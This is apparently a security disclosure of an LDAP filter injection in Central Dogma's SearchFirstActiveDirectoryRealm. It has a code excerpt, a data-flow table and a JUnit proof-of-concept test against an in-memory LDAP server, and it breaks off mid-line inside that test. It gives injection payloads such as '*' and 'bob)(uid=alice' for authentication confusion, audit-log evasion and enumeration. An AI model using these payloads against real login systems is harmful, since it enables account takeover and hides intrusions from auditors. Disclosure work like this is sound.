Vulnerability

SearchFirstActiveDirectoryRealm.findUserDn() substitutes the user-supplied username from the login form into an LDAP search filter template (default cn={0}) without escaping RFC 4515 filter metacharacters (*, (, ), \, NUL). Combined with SearchControls.setCountLimit(1) on the same call site, this allows three distinct attack primitives:

1. Authentication confusion — typing username * causes the realm to construct filter cn=*, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker's password.
2. Audit log evasion — payload bob)(uid=alice is recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001).
3. Directory enumeration — wildcards and timing differences allow reconnaissance of OU structure and admin group membership.

A repo-wide search for any LDAP escape helper (escapeLdap, encodeFilter, escapeFilter, ldapEscape) returns zero hits — the defense is not just missing, it was never added.

Applicability note: This realm is opt-in. The shipped default LDAP example (dist/src/conf/shiro.example.ldap.ini) uses Shiro's DefaultLdapRealm with userDnTemplate and is NOT affected. However, the realm exists precisely to support Active Directory environments where users log in via sAMAccountName and the realm must search for the DN first — the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm.

---

Evidence

File: server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java Lines 148–176 on branch main @ commit d64a5151:

@Nullable
protected String findUserDn(LdapContextFactory ldapContextFactory, String username)
        throws NamingException {
    LdapContext ctx = null;
    try {
        ctx = ldapContextFactory.getSystemLdapContext();

        final SearchControls ctrl = new SearchControls();
        ctrl.setCountLimit(1);                                              // line 156 — returns FIRST match only
        ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
        ctrl.setTimeLimit(searchTimeoutMillis);

        final String filter =
                searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
                                                           .replaceAll(username)  // line 162 — RAW SUBSTITUTION
                                     : username;                            // line 163
        final NamingEnumeration result = ctx.search(searchBase, filter, ctrl);
        ...

USERNAME_PLACEHOLDER = Pattern.compile("\\{0}"). Default searchFilter = "cn={0}".

Data flow from HTTP login to vulnerable substitution

Step	Component
HTTP login form	POST /api/v1/login form field username
ShiroLoginService.usernamePassword() (lines 198–223)	applies loginNameNormalizer (Unicode lowercase only — NOT LDAP escape)
Subject.login(new UsernamePasswordToken(username, password))	Shiro hand-off
ActiveDirectoryRealm.doGetAuthenticationInfo (Shiro core)	calls queryForAuthenticationInfo0
SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername())	username flows in verbatim

Repository-wide escape helper grep

Search term	Hits
escapeLdap	0
encodeFilter	0
escapeFilter	0
ldapEscape	0

---

PoC

Self-contained JUnit 5 test using UnboundID InMemoryDirectoryServer (in-process, no external LDAP required). Drop into server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java and add com.unboundid:unboundid-ldapsdk:7.0.0 as a test dependency.

The PoC works by subclassing the realm and overriding findUserDn() to capture the actual LDAP filter string sent to the directory — the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes.

/*
 * Copyright 2026 LINE Corporation
 *
 * SECURITY PoC — NOT FOR MERGE INTO THE MAIN TEST SUITE.
 *
 * This JUnit class demonstrates the LDAP filter injection in
 * SearchFirstActiveDirectoryRealm. Drop into
 * server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/
 * Adds the UnboundID LDAP SDK as a test dep.
 */
package com.linecorp.centraldogma.server.auth.shiro.realm;

import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;

import javax.naming.directory.SearchControls;
import javax.naming.ldap.LdapContext;

import org.apache.shiro.realm.ldap.JndiLdapContextFactory;
import org.apache.shiro.realm.ldap.LdapContextFactory;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.Entry;

@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
class LdapInjectionPoCTest {

    private static InMemoryDirectoryServer ds;
    private static int port;

    @BeforeAll
    static void startLdap() throws Exception {
        final InMemoryDirectoryServerConfig cfg =
                new InMemoryDirectoryServerConfig("dc=example,dc=com");
        cfg.addAdditionalBindCredentials("cn=admin,dc=example,dc=com", "adminpw");
        cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig(
                "default", null, 0, null));
        ds = new InMemoryDirectoryServer(cfg);
        ds.startListening();
        port = ds.getListenPort();

        // Directory:
        //   cn=admin  (listed first → picked by setCountLimit(1) under wildcard)
        //   cn=alice
        ds.add(new Entry(
                "cn=admin,dc=example,dc=com",
                "objectClass: top", "objectClass: person",
                "cn: admin", "sn: admin",
                "userPassword: adminpw"));
        ds.add(new Entry(
                "cn=alice,dc=example,dc=com",
                "objectClass: top", "objectClass: person",
                "cn: alice", "sn: doe",
                "userPassword: alicepw"));
    }

    @AfterAll
    static void stopLdap() {
        if (ds != null) ds.shutDown(true);
    }

    /** Subclass that records the filter passed to ctx.search(). */
    private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm {
        volatile String capturedFilter;

        RecordingRealm() {
            setUrl("ldap://localhost:" + port);
            setSystemUsername("cn=admin,dc=example,dc=com");
            setSystemPassword("adminpw");
            setSearchBase("dc=example,dc=com");
            setSearchFilter("cn={0}");
        }

        @Override
        protected String findUserDn(LdapContextFactory factory, String username)
                throws javax.naming.NamingException {
            LdapContext ctx = null;
            try {
                ctx = factory.getSystemLdapContext();
                final SearchControls ctrl = new SearchControls();
                ctrl.setCountLimit(1);
                ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);

                final java.util.regex.Pattern PH =
                        java.util.regex.Pattern.compile("\\{0}");
                final String filter = PH.matcher("cn={0}").replaceAll(username);
                capturedFilter = filter;

                final javax.naming.NamingEnumeration r =
                        ctx.search("dc=example,dc=com", f